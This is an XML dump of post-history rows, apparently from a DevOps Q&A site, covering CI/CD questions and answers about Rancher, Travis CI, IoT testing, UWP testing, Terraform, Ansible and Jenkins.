  <row Id="9582" PostHistoryTypeId="5" PostId="3057" RevisionGUID="cd71bbc7-67ab-4cea-9aac-18eb37993c53" CreationDate="2018-01-10T10:03:40.427" UserId="2285" Comment="More pictures" Text="As of you are using Rancher the easiest way would be to register custom Rancher Catalog and create an item for each stack/service you want to deploy.&#xD;&#xA;&#xD;&#xA;[![Add custom catalog][1]][1]&#xD;&#xA;&#xD;&#xA;Rancher Catalog is a Git repository with the following structure&#xD;&#xA;&#xD;&#xA;[![Git repository structure][2]][2]&#xD;&#xA;&#xD;&#xA;Then in Jenkins you can create a job that would call Rancher REST API to deploy/update stack/service. &#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;In its turn Rancher would pull latest version of the Docker image for this service and deploy it corresponding to Docker Compose file from the catalog.&#xD;&#xA;&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/eKzP7.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/Sx8fu.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/yK0Cr.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/f3OtP.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="9583" PostHistoryTypeId="5" PostId="3057" RevisionGUID="ad333f4d-2dac-4fb8-86b1-4802accea6b5" CreationDate="2018-01-10T10:52:02.773" UserId="2285" Comment="Pros/Cons" Text="As of you are using Rancher the easiest way would be to register custom Rancher Catalog and create an item for each stack/service you want to deploy.&#xD;&#xA;&#xD;&#xA;[![Add custom catalog][1]][1]&#xD;&#xA;&#xD;&#xA;Rancher Catalog is a Git repository with the following structure&#xD;&#xA;&#xD;&#xA;[![Git repository structure][2]][2]&#xD;&#xA;&#xD;&#xA;Then in Jenkins you can create a job that would call Rancher REST API to deploy/update stack/service. &#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;In its turn Rancher would pull latest version of the Docker image for this service and deploy it corresponding to Docker Compose file from the catalog.&#xD;&#xA;&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;Pros:&#xD;&#xA;&#xD;&#xA; - generic approach that might be used for almost every app&#xD;&#xA; - Jenkins itself might be deployed into Rancher environment, agents might be created in Kubernetes cluster&#xD;&#xA;&#xD;&#xA;Cons:&#xD;&#xA;&#xD;&#xA; - development team should follow solid release strategy to be able to use generic builds&#xD;&#xA; - storage drivers are still under the question in alpha release of Rancher 2.0&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/eKzP7.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/Sx8fu.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/yK0Cr.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/f3OtP.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="9588" PostHistoryTypeId="2" PostId="3058" RevisionGUID="eb4abf7e-852f-4484-a47a-b0243ef13c02" CreationDate="2018-01-10T15:04:14.777" UserId="6027" Text="&#xD;&#xA;I have a ping -c 1 -q n.n.n.n command that fails only at travis ci.&#xD;&#xA;&#xD;&#xA;Is ping blocked there?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9589" PostHistoryTypeId="1" PostId="3058" RevisionGUID="eb4abf7e-852f-4484-a47a-b0243ef13c02" CreationDate="2018-01-10T15:04:14.777" UserId="6027" Text="Is icmp blocked at travis-ci?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9590" PostHistoryTypeId="3" PostId="3058" RevisionGUID="eb4abf7e-852f-4484-a47a-b0243ef13c02" CreationDate="2018-01-10T15:04:14.777" UserId="6027" Text="&lt;travis-ci&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9591" PostHistoryTypeId="2" PostId="3059" RevisionGUID="5a8517f1-a57a-4a9f-97f7-5d899708986f" CreationDate="2018-01-10T15:05:42.587" UserId="6027" Text="&#xD;&#xA;Found the answer to my own question, straight from travis support&#xD;&#xA;&#xD;&#xA;&gt; Hi Name,&#xD;&#xA;&gt; &#xD;&#xA;&gt; Thanks for writing in. Yes indeed, on our container based&#xD;&#xA;&gt; infrastructure, ICMP is not possible. Could you speficy `sudo:&#xD;&#xA;&gt; required` in the .travis.yml and see if it brings improvement?&#xD;&#xA;&gt; &#xD;&#xA;&gt; Thanks!&#xD;&#xA;&gt; &#xD;&#xA;&gt; Joep" ContentLicense="CC BY-SA 3.0" />
  <row Id="9592" PostHistoryTypeId="2" PostId="3060" RevisionGUID="16b8eaa0-9489-4dbc-9367-b203bc68b537" CreationDate="2018-01-10T16:12:17.863" UserId="6" Text="Since &quot;deployment&quot; to the IoT device, especially in bulk, will not be done using the CI system. Then the purpose of the CI system is mostly to make sure that it *will* work okay.&#xD;&#xA;&#xD;&#xA;This means that you mostly want to run some tests using the CI. Automated testing is definitely possible, both for unit tests and for integration tests.&#xD;&#xA;&#xD;&#xA;The most important thing for unit tests is usually very short runtime and a short feedback loop. For a large code base, if possible to compile parts of it using the native compiler of the host and run unit tests there - it is a great option. If you must, you can also cross-compile to the target platform and run the unit tests using some emulator to have the necessary speed. All of this can happen during a CI &quot;build+test&quot; job.&#xD;&#xA;&#xD;&#xA;For integration tests, if possible to install your code on an actual device and the have some chatter with the device using the serial interface - you can ensure that the code actually works on a target device. If for some reason the code fails or works incorrectly, maybe draws too much power and/or restarts then the integration tests will catch that. You can also have another test device performing measurements and reporting via the Serial interface to the CI job. Can use an Arduino, or another ESP to maybe measure voltage and/or amperage during the execution of your code parts and checking that against known good values. You don't expect the device to pull 400mA when in a deep-sleep mode, for example, this is easy to test with a &quot;test harness&quot;.&#xD;&#xA;&#xD;&#xA;All of these unit tests and integration tests can be triggered completely automatically on the CI server. Naturally, you will probably have this &quot;server&quot; running on-premises and not rely on a cloud solution that might or might not support your latest integration testing.&#xD;&#xA;&#xD;&#xA;With hardware, smoke tests are more &quot;real&quot;, since you can actually hook-up the device and see the magic smoke come out. Usually, you don't even need to run code before it burns since the problem is often in the hardware.&#xD;&#xA;&#xD;&#xA;Since I mentioned testing, there is also integration testing which is done on the hardware level. If you have a good test harness that checks that the device works well by probing it, you can use the same test harness to do your QC cycle in the factory where they produce the devices later. There is quite a lot of information about making these testbeds. One example for this is here - https://www.sparkfun.com/tutorials/138." ContentLicense="CC BY-SA 3.0" />
  <row Id="9593" PostHistoryTypeId="5" PostId="3060" RevisionGUID="d58437f1-6a58-4dec-a772-b448537badc2" CreationDate="2018-01-10T16:32:21.253" UserId="6" Comment="add explanation on why unit testing on a target device is slow" Text="Since &quot;deployment&quot; to the IoT device, especially in bulk, will not be done using the CI system. Then the purpose of the CI system is mostly to make sure that it *will* work okay.&#xD;&#xA;&#xD;&#xA;This means that you mostly want to run some tests using the CI. Automated testing is definitely possible, both for unit tests and for integration tests.&#xD;&#xA;&#xD;&#xA;The most important thing for unit tests is usually very short runtime and a short feedback loop. For a large code base, if possible to compile parts of it using the native compiler of the host and run unit tests there - it is a great option. If you must, you can also cross-compile to the target platform and run the unit tests using some emulator to have the necessary speed. All of this can happen during a CI &quot;build+test&quot; job. Compiling for the target and running unit tests on the target will just be painfully slow if done properly, but can also be done - just make sure to only flash the smallest possible piece of code and have it report back via the Serial that it worked on the device.&#xD;&#xA;&#xD;&#xA;For integration tests, if possible to install your code on an actual device and the have some chatter with the device using the serial interface - you can ensure that the code actually works on a target device. If for some reason the code fails or works incorrectly, maybe draws too much power and/or restarts then the integration tests will catch that. You can also have another test device performing measurements and reporting via the Serial interface to the CI job. Can use an Arduino, or another ESP to maybe measure voltage and/or amperage during the execution of your code parts and checking that against known good values. You don't expect the device to pull 400mA when in a deep-sleep mode, for example, this is easy to test with a &quot;test harness&quot;.&#xD;&#xA;&#xD;&#xA;All of these unit tests and integration tests can be triggered completely automatically on the CI server. Naturally, you will probably have this &quot;server&quot; running on-premises and not rely on a cloud solution that might or might not support your latest integration testing.&#xD;&#xA;&#xD;&#xA;With hardware, smoke tests are more &quot;real&quot;, since you can actually hook-up the device and see the magic smoke come out. Usually, you don't even need to run code before it burns since the problem is often in the hardware.&#xD;&#xA;&#xD;&#xA;Since I mentioned testing, there is also integration testing which is done on the hardware level. If you have a good test harness that checks that the device works well by probing it, you can use the same test harness to do your QC cycle in the factory where they produce the devices later. There is quite a lot of information about making these testbeds. One example for this is here - https://www.sparkfun.com/tutorials/138." ContentLicense="CC BY-SA 3.0" />
  <row Id="9594" PostHistoryTypeId="50" PostId="2592" RevisionGUID="267fe95d-72ae-421e-a19a-e270d4ada271" CreationDate="2018-01-10T19:46:48.937" UserId="-1" />
  <row Id="9595" PostHistoryTypeId="2" PostId="3061" RevisionGUID="7f7f8c0f-9eb4-48b5-81ac-d4179810eff9" CreationDate="2018-01-10T20:55:16.330" UserId="6031" Text="I have a Universal Windows Platform (UWP) application, but I am having trouble testing it.&#xD;&#xA;&#xD;&#xA;First off, there seems to be some issue with running MSTest in the latest versions of Visual Studio (currently V.S. 2017, 15.5.3) where the test app pops up a window and doesn't close it, never finishes, and doesn't let me run it twice. I've googled and debugged for days with no fix in sight. I've changed runtime versions and target platforms. I've started fresh. I've tried some of my co-workers. We're all having this problem. So MSTest doesn't work with UWP applications. I've also played with `mstest.exe` via the command line for a few hours and couldn't get it to run, I suspect because of the immaturity of the UWP platform.&#xD;&#xA;&#xD;&#xA;That doesn't really matter though, because even if it did, in order to execute my unit tests in a build, I would have to run them in a windowless environment on my build server. TFS can't execute it because it has to pop open a window and there is no GUI running on the company's TFS servers.&#xD;&#xA;&#xD;&#xA;I switched to xUnit because of the MSTest issues. Just a bit of rewriting and we're back in business on the unit testing front. xUnit forces me to open the tests in an application window and run it from there because xUnit for Windows Universal doesn't integrate into Visual Studio. That also means I can't run it headlessly on my TFS build/integration server. Again, I'm in the same spot.&#xD;&#xA;&#xD;&#xA;So what have I missed? Is there any way to automate my unit testing via TFS build server, or have we simply picked the wrong platform for the job?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9596" PostHistoryTypeId="1" PostId="3061" RevisionGUID="7f7f8c0f-9eb4-48b5-81ac-d4179810eff9" CreationDate="2018-01-10T20:55:16.330" UserId="6031" Text="How can I automate unit testing a UWP app?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9597" PostHistoryTypeId="3" PostId="3061" RevisionGUID="7f7f8c0f-9eb4-48b5-81ac-d4179810eff9" CreationDate="2018-01-10T20:55:16.330" UserId="6031" Text="&lt;dotnet&gt;&lt;tfs&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9598" PostHistoryTypeId="5" PostId="3058" RevisionGUID="45b1d780-de2f-446f-8aaf-68dad6f9fbb3" CreationDate="2018-01-10T22:15:49.253" UserId="44" Comment="minor formatting" Text="I have a &#xD;&#xA;&#xD;&#xA;    ping -c 1 -q n.n.n.n command &#xD;&#xA;&#xD;&#xA;that fails only at Travis CI.&#xD;&#xA;&#xD;&#xA;Is ping blocked there?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9599" PostHistoryTypeId="6" PostId="3058" RevisionGUID="45b1d780-de2f-446f-8aaf-68dad6f9fbb3" CreationDate="2018-01-10T22:15:49.253" UserId="44" Comment="minor formatting" Text="&lt;travis-ci&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9600" PostHistoryTypeId="24" PostId="3058" RevisionGUID="45b1d780-de2f-446f-8aaf-68dad6f9fbb3" CreationDate="2018-01-10T22:15:49.253" Comment="Proposed by 44 approved by 40, 6027 edit id of 584" ContentLicense="CC BY-SA 3.0" />
  <row Id="9601" PostHistoryTypeId="2" PostId="3062" RevisionGUID="dfc50107-310d-4661-b074-543f6725255c" CreationDate="2018-01-10T22:40:14.647" UserId="6032" Text="You could do a vulnerability scan with AWS Inspector and look for CVE vulnerabilities. Inspectors has a CloudWatch metric to cause an action when there are findings. Would be tricky to determine WHICH packages need to be updated, but you could just update everything.  You don’t have to use Inspector, any vulnerability scanning tool you can hook into would work. Vulnerability scanning is a best practice in general. &#xD;&#xA;&#xD;&#xA;Another idea would be to setup a cron job that does apt-get update &amp;&amp; apt-get upgrade —dry-run &gt; stuff-that-should-be-updated.txt and parse the text file for a list of packages to be updated and feed that back into your build process. " ContentLicense="CC BY-SA 3.0" />
  <row Id="9602" PostHistoryTypeId="50" PostId="2534" RevisionGUID="b057378b-b05f-4471-883a-c7b3e8df72cf" CreationDate="2018-01-10T23:56:06.593" UserId="-1" />
  <row Id="9603" PostHistoryTypeId="2" PostId="3063" RevisionGUID="d52a26ea-f896-478d-91a6-7b31f8169eac" CreationDate="2018-01-11T04:35:00.057" UserId="5775" Text="I am a beginner in devops.I am getting confused with the answers on google so posted here." ContentLicense="CC BY-SA 3.0" />
  <row Id="9604" PostHistoryTypeId="1" PostId="3063" RevisionGUID="d52a26ea-f896-478d-91a6-7b31f8169eac" CreationDate="2018-01-11T04:35:00.057" UserId="5775" Text="What is the major difference between continuous delivery and continuous deployment" ContentLicense="CC BY-SA 3.0" />
  <row Id="9605" PostHistoryTypeId="3" PostId="3063" RevisionGUID="d52a26ea-f896-478d-91a6-7b31f8169eac" CreationDate="2018-01-11T04:35:00.057" UserId="5775" Text="&lt;continuous-delivery&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9606" PostHistoryTypeId="2" PostId="3064" RevisionGUID="714d20d8-1fe1-4c8e-ad12-5bbb2f52a668" CreationDate="2018-01-11T06:06:42.350" UserId="210" Text="Continuous delivery: test the application automatically when the code changes&#xD;&#xA;&#xD;&#xA;Continuous deployment: deploy the application to production automatically when the code changes" ContentLicense="CC BY-SA 3.0" />
  <row Id="9607" PostHistoryTypeId="2" PostId="3065" RevisionGUID="6551132d-6949-4515-ac78-10d86640add8" CreationDate="2018-01-11T07:02:41.280" UserId="4175" Text="&quot;Continous delivery&quot; is the general principle of a development process (including development, testing, etc.) producing software in a way where you could deploy often, ideally at any time. In contrast to a classical waterfall model where you would have fixed deployment dates which would be months or even years apart and planned with huge feature sets. These days, this means that there is some CI/CD pipeline which may or may not include the final step of &quot;deployment&quot;.&#xD;&#xA;&#xD;&#xA;&quot;Continuous deployment&quot; is a specific aspect which means that the final step of the process, the actual deployment, is automated as well, and happens very frequently, ideally on every commit (after running through a rigorous CI/CD pipeline which may or may not include any human interaction).&#xD;&#xA;&#xD;&#xA;There is no *versus* here. Continuous Deployment is an optional sub-part of Continous Delivery." ContentLicense="CC BY-SA 3.0" />
  <row Id="9608" PostHistoryTypeId="10" PostId="3063" RevisionGUID="3dbbed94-890e-4450-809b-b0003756dc0a" CreationDate="2018-01-11T07:25:59.187" UserId="46" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[488],&quot;Voters&quot;:[{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="9609" PostHistoryTypeId="2" PostId="3066" RevisionGUID="5d39b460-caad-46f9-924f-b693a49292bc" CreationDate="2018-01-11T10:14:36.743" UserId="6042" Text="I am developing a chatbot azure service, which I want to integrate within Microsoft Teams.&#xD;&#xA;So far everything is working but the &quot;re-install&quot; of the package in the Microsoft Teams.&#xD;&#xA;&#xD;&#xA;I created a publish &quot;folder-profile&quot;. Then I zip the result with the manifest.json and the icon files inside. I go to the Manage Team section and in the Apps tab I select upload a custom app. Then I choose the .zip file and the service seems to be there(Actually it is there)&#xD;&#xA;&#xD;&#xA;It works, but when I create a new version and I repeat the described steps, it seems like Microsoft Teams is still using my old code.&#xD;&#xA;&#xD;&#xA;I test the chatbot in the Chat by using @&quot;APP-ID&quot; and I see how my changes work, but installed as an App for the &quot;Team&quot; keeps the old version.&#xD;&#xA;&#xD;&#xA;I tried to uninstall it, check if the bot is gone(it is gone) and then upload again, but some kind of cache is there and the bot behaves like in the previous version.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any idea how is the correct way to deploy new versions of my app in Microsoft Teams?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9610" PostHistoryTypeId="1" PostId="3066" RevisionGUID="5d39b460-caad-46f9-924f-b693a49292bc" CreationDate="2018-01-11T10:14:36.743" UserId="6042" Text="Deployment custom App in Microsoft Teams" ContentLicense="CC BY-SA 3.0" />
  <row Id="9611" PostHistoryTypeId="3" PostId="3066" RevisionGUID="5d39b460-caad-46f9-924f-b693a49292bc" CreationDate="2018-01-11T10:14:36.743" UserId="6042" Text="&lt;deployment&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9612" PostHistoryTypeId="2" PostId="3067" RevisionGUID="d265cb7b-b721-4350-b572-27ea221ea7d7" CreationDate="2018-01-11T10:43:49.393" UserId="397" Text="Part of adopting the Immutable Infrastructure Pattern is decomposing your system into small manageable pieces that can move through CI/CD Pipeline very quickly, this means that OS patches can be done quickly and in a controlled manner.  I often see clients ending up with a halfway house where infrastructure is mostly immutable.&#xD;&#xA;&#xD;&#xA;However, there are a few approaches to this which I have used in large-scale deployments of cloud architecture, typically I implement more than one as part of a [Defense in Depth strategy][1]:&#xD;&#xA;&#xD;&#xA; - **[Security Information and Event Management (SIEM)][2]**: These products, for example, LogRhythm Security Intelligence Platform and more generic products such as ElasticStack take feeds from the operating system, which includes the output from a frequent check for updates.  The trick here is to get the information about what to patch quickly and automatically to inform decisions about when to roll those through your pipeline.&#xD;&#xA;&#xD;&#xA; - **[Vulnerability Management][3]** systems are more tailored than SIEM in that they are only focusing on vulnerabilities across the system so could catch issues with libraries installed as part of the software deployed to the system but not managed by the Operating System.  This might highlight vulnerabilities for which there is no patch (yet... hopefully).&#xD;&#xA;&#xD;&#xA; - **[Dependency Check][4]** tools form part of your pipeline and can be configured to fail the build if check-ins add vulnerabilities, this also works if a new vulnerability is added to the tool since the last check-in.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://security.stackexchange.com/questions/121905/defense-in-depth-with-common-security-controls&#xD;&#xA;  [2]: https://security.stackexchange.com/questions/4357/enterprise-security-incident-response-and-detection/4742#4742&#xD;&#xA;  [3]: https://security.stackexchange.com/questions/126360/vulnerability-management-solution-evaluation-criteria&#xD;&#xA;  [4]: https://techbeacon.com/13-tools-checking-security-risk-open-source-dependencies-0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9619" PostHistoryTypeId="50" PostId="2518" RevisionGUID="b97c5b7b-861e-43c6-89f9-854890257f5c" CreationDate="2018-01-11T14:59:13.043" UserId="-1" />
  <row Id="9620" PostHistoryTypeId="50" PostId="2517" RevisionGUID="253c0e12-6f4b-47c0-a3f8-c4829371eb3a" CreationDate="2018-01-11T15:59:13.207" UserId="-1" />
  <row Id="9621" PostHistoryTypeId="2" PostId="3069" RevisionGUID="7f5978e5-d93a-4f28-8799-ce883d735a52" CreationDate="2018-01-12T03:08:32.857" UserId="5988" Text="I want to have different s3 names based on different environments using terraform.&#xD;&#xA;&#xD;&#xA;If I define the name in terraform.tfvar, it won't work:&#xD;&#xA;&#xD;&#xA;    s3_bucket_name          = &quot;tf-${terraform.workspace}&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If I hardcode s3 bucket name in s3.tf, it works:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_s3_bucket&quot; &quot;s3&quot; {&#xD;&#xA;       bucket        = &quot;tf-${terraform.workspace}&quot;&#xD;&#xA;       ....&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;how to define the workspace related name from terraform.tfvar? I do not want to hard code it in tf file." ContentLicense="CC BY-SA 3.0" />
  <row Id="9622" PostHistoryTypeId="1" PostId="3069" RevisionGUID="7f5978e5-d93a-4f28-8799-ce883d735a52" CreationDate="2018-01-12T03:08:32.857" UserId="5988" Text="create resource name based on terraform.workspace" ContentLicense="CC BY-SA 3.0" />
  <row Id="9623" PostHistoryTypeId="3" PostId="3069" RevisionGUID="7f5978e5-d93a-4f28-8799-ce883d735a52" CreationDate="2018-01-12T03:08:32.857" UserId="5988" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9626" PostHistoryTypeId="5" PostId="1550" RevisionGUID="209efa59-2b21-4a27-af5e-a6a0cd672c27" CreationDate="2018-01-12T08:10:55.207" UserId="40" Comment="added 4 characters in body" Text="[JFrog Artifactory][1] and [JFrog Bintray][2] both manage binaries (and any other file type you can think of). I'd like to see them as two different parts of your CI/CD pipeline.&#xD;&#xA;&#xD;&#xA;**Artifactory** is mostly meant to be used inside the organization. For managing all binaries coming in as dependencies (like maven central jars) and being produced by your build process (like your `pack.rpm` or `org/pack-docker` docker image). These can later be used by others in the org or released to **Bintray**.&#xD;&#xA;&#xD;&#xA;**Bintray** is meant to provide a universal distribution platform for your end deliverables. For example, the `pack.rpm` you want to be available for your customers to download. And also that `org/pack-docker` docker image.&#xD;&#xA;&#xD;&#xA;Look into the features lists of each and see how they differ in order to best match their intended role.  &#xD;&#xA;&#xD;&#xA; - [Artifactory features][3]&#xD;&#xA; - [Bintray features][4] &#xD;&#xA;&#xD;&#xA;I hope this helps explain the differences.&#xD;&#xA;&#xD;&#xA;**Disclosure**: I work at JFrog&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jfrog.com/artifactory/&#xD;&#xA;  [2]: https://www.jfrog.com/bintray/&#xD;&#xA;  [3]: https://www.jfrog.com/artifactory/features/&#xD;&#xA;  [4]: https://www.jfrog.com/bintray/bintray-features/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9627" PostHistoryTypeId="50" PostId="2867" RevisionGUID="1faf96b6-9261-44b1-8b4d-61f0459eb99f" CreationDate="2018-01-12T09:08:13.250" UserId="-1" />
  <row Id="9628" PostHistoryTypeId="2" PostId="3070" RevisionGUID="d0a570e3-7ad4-4548-ba68-ac76c3949492" CreationDate="2018-01-12T09:40:45.803" UserId="5775" Text="What is the basic difference between release and deploy? What is the relation between release management and continuous deployment?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9629" PostHistoryTypeId="1" PostId="3070" RevisionGUID="d0a570e3-7ad4-4548-ba68-ac76c3949492" CreationDate="2018-01-12T09:40:45.803" UserId="5775" Text="difference between release and deployment" ContentLicense="CC BY-SA 3.0" />
  <row Id="9630" PostHistoryTypeId="3" PostId="3070" RevisionGUID="d0a570e3-7ad4-4548-ba68-ac76c3949492" CreationDate="2018-01-12T09:40:45.803" UserId="5775" Text="&lt;deployment&gt;&lt;continuous-deployment&gt;&lt;release-management&gt;&lt;release&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9636" PostHistoryTypeId="2" PostId="3071" RevisionGUID="0701f800-1e17-4a2f-b881-963fc31f60fa" CreationDate="2018-01-12T11:50:23.593" UserId="5842" Text="How can I use ansible to ensure that a line is uncommented in an XML file?   In `/etc/tomcat8/context.xml` I want to ensure that the section:&#xD;&#xA;&#xD;&#xA;    &lt;!-- Uncomment this to disable session persistence across Tomcat restarts --&gt;&#xD;&#xA;    &lt;!--&#xD;&#xA;    &lt;Manager pathname=&quot;&quot; /&gt;&#xD;&#xA;    --&gt;&#xD;&#xA;&#xD;&#xA;Is changed to:&#xD;&#xA;&#xD;&#xA;    &lt;!-- Disable session persistence across Tomcat restarts --&gt;&#xD;&#xA;    &lt;Manager pathname=&quot;&quot; /&gt;&#xD;&#xA;&#xD;&#xA; - The [lineinfile module](http://docs.ansible.com/ansible/latest/lineinfile_module.html) doesn't appear to be able to help because this is a multi-line section&#xD;&#xA;&#xD;&#xA; - The [xml module](https://docs.ansible.com/ansible/2.4/xml_module.html) might be able to ensure that the `&lt;Manager...` is in place, but it doesn't appear to be able to delete the commented out version.&#xD;&#xA;&#xD;&#xA; - I could write a script to do this with `sed` if I have to, but I find it is better to use ansible modules when possible." ContentLicense="CC BY-SA 3.0" />
  <row Id="9637" PostHistoryTypeId="1" PostId="3071" RevisionGUID="0701f800-1e17-4a2f-b881-963fc31f60fa" CreationDate="2018-01-12T11:50:23.593" UserId="5842" Text="Ensure a line is uncommented in an XML file using ansible" ContentLicense="CC BY-SA 3.0" />
  <row Id="9638" PostHistoryTypeId="3" PostId="3071" RevisionGUID="0701f800-1e17-4a2f-b881-963fc31f60fa" CreationDate="2018-01-12T11:50:23.593" UserId="5842" Text="&lt;ansible&gt;&lt;configuration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9639" PostHistoryTypeId="2" PostId="3072" RevisionGUID="046f60e8-99c9-4b37-946b-3aa67a60ad00" CreationDate="2018-01-12T14:50:52.380" UserId="47" Text="From [Wikipedia][1]:&#xD;&#xA;&#xD;&#xA;&gt; Release management is the process of managing, planning, scheduling&#xD;&#xA;&gt; and controlling a software build through different stages and&#xD;&#xA;&gt; environments; including testing and deploying [software releases][2].&#xD;&#xA;&#xD;&#xA;Depending on the context the term `release` is used to reference either of:&#xD;&#xA;&#xD;&#xA;- the version of the software being released (from a version control system prospective)&#xD;&#xA;- the artifacts actually being delivered corresponding to that version (which can include physical media, printed documentation, etc)&#xD;&#xA;- the process leading to making those artifacts available and, in the case where the release includes deployment - deploying them in the respective environment (which may or may not be the production one)&#xD;&#xA;&#xD;&#xA;Continuous Deployment (together with Continuous Integration and Continuous Delivery) is the modern DevOps methodology aiming to releasing better quality software as fast as possible.&#xD;&#xA;&#xD;&#xA;So you can see Continuous Deployment being part of the release management in some cases, but you can also see release management without it - for example in the [waterfall][3] development model.&#xD;&#xA;&#xD;&#xA;Related: [How does continuous integration relate to continuous delivery / deployment?][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Release_management&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Software_release&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Waterfall_model&#xD;&#xA;  [4]: https://devops.stackexchange.com/a/493/47" ContentLicense="CC BY-SA 3.0" />
  <row Id="9640" PostHistoryTypeId="2" PostId="3073" RevisionGUID="f16ff812-289a-44f3-8fb0-708c55cf622e" CreationDate="2018-01-12T15:16:56.933" UserId="6066" Text="Currently, i'm going to need an implementation that must find all files within a directory and start a parallel task for every found file.&#xD;&#xA;&#xD;&#xA;It's possible to achieve using declarative pipelins?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;        stages {&#xD;&#xA;            stage(&quot;test&quot;) {&#xD;&#xA;                steps {&#xD;&#xA;                    dir (&quot;file_path&quot;) {&#xD;&#xA;                        // find all files with complete path&#xD;&#xA;                        parallel (&#xD;&#xA;                            // execute parallel tasks for each file found.&#xD;&#xA;                            // this must be dynamic&#xD;&#xA;                            }&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9641" PostHistoryTypeId="1" PostId="3073" RevisionGUID="f16ff812-289a-44f3-8fb0-708c55cf622e" CreationDate="2018-01-12T15:16:56.933" UserId="6066" Text="How to properly achieve dynamic parallel action with declarative pipeline" ContentLicense="CC BY-SA 3.0" />
  <row Id="9642" PostHistoryTypeId="3" PostId="3073" RevisionGUID="f16ff812-289a-44f3-8fb0-708c55cf622e" CreationDate="2018-01-12T15:16:56.933" UserId="6066" Text="&lt;jenkins&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9643" PostHistoryTypeId="5" PostId="1550" RevisionGUID="849a052a-e463-4239-b9e9-f05ad65d7f8c" CreationDate="2018-01-12T16:29:14.043" UserId="-1" Comment="fixed broken link" Text="[JFrog Artifactory][1] and [JFrog Bintray][2] both manage binaries (and any other file type you can think of). I'd like to see them as two different parts of your CI/CD pipeline.&#xD;&#xA;&#xD;&#xA;**Artifactory** is mostly meant to be used inside the organization. For managing all binaries coming in as dependencies (like maven central jars) and being produced by your build process (like your `pack.rpm` or `org/pack-docker` docker image). These can later be used by others in the org or released to **Bintray**.&#xD;&#xA;&#xD;&#xA;**Bintray** is meant to provide a universal distribution platform for your end deliverables. For example, the `pack.rpm` you want to be available for your customers to download. And also that `org/pack-docker` docker image.&#xD;&#xA;&#xD;&#xA;Look into the features lists of each and see how they differ in order to best match their intended role.  &#xD;&#xA;&#xD;&#xA; - [Artifactory features][3]&#xD;&#xA; - [Bintray features][4] &#xD;&#xA;&#xD;&#xA;I hope this helps explain the differences.&#xD;&#xA;&#xD;&#xA;**Disclosure**: I work at JFrog&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jfrog.com/artifactory/&#xD;&#xA;  [2]: https://www.jfrog.com/bintray/&#xD;&#xA;  [3]: https://www.jfrog.com/artifactory/features/&#xD;&#xA;  [4]: https://jfrog.com/bintray/features/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9644" PostHistoryTypeId="24" PostId="1550" RevisionGUID="849a052a-e463-4239-b9e9-f05ad65d7f8c" CreationDate="2018-01-12T16:29:14.043" Comment="Proposed by 80.87.25.58|790fc6d7-5c0b-47ed-8b34-b981a926c634 approved by -1 edit id of 586" ContentLicense="CC BY-SA 3.0" />
